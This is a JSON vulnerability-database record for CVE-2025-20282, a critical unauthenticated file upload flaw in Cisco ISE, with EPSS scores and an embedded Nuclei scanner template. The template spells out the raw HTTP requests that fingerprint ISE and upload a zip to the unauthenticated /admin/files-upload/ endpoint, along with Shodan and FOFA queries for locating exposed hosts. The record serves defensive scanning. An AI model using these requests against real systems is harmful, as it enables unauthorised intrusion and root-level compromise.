{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-20282/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-20282/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-20282/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-20282/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-20282/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-20282"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-20282"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.27498,
      "kev": false,
      "percentile": 0.97985
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-20282.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-20282\n\ninfo:\n  name: Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary files as root, leading to full system compromise.\n  remediation: |\n    Update to the latest Cisco ISE and Cisco ISE-PIC versions with security patches.\n  reference:\n    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6\n    - https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/\n    - https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-20282\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2025-20282\n    cwe-id: CWE-434\n    epss-score: 0.27498\n    epss-percentile: 0.97985\n    cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cisco\n    product: identity_services_engine\n    shodan-query: '\"Set-Cookie: APPSESSIONID=\" \"Path=/admin\"'\n    fofa-query: title=\"identity services engine\"\n  tags: cve,cve2025,cisco,cisco-ise,rce,file-upload,intrusive,vkev\n\nvariables:\n  probe_zip: \"{{base64_decode('UEsDBBQAAAAAAHcdA12wBb+DFAAAABQAAAAJAAAAcHJvYmUudHh0Q1ZFLTIwMjUtMjAyODItcHJvYmVQSwECFAMUAAAAAAB3HQNdsAW/gxQAAAAUAAAACQAAAAAAAAAAAAAAgAEAAAAAcHJvYmUudHh0UEsFBgAAAAABAAEANwAAADsAAAAAAA==')}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /admin/login.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"APPSESSIONID=\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /admin/files-upload/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----ISEProbe202520282\n\n        ------ISEProbe202520282\n        Content-Disposition: form-data; name=\"file\"; filename=\"probe.zip\"\n        Content-Type: application/zip\n\n        {{probe_zip}}\n        ------ISEProbe202520282--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 422'\n          - 'contains(header, \"walkme.com\")'\n        condition: and\n# digest: 4b0a00483046022100c086670baced00708f86d4a5b6498529785936d05686d82fae4419d0b0f188b70221009d1f2428dda8b965d74f728c042c1506adf95c4aa8234a6bad6d813f6a1550f0:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-20282"
}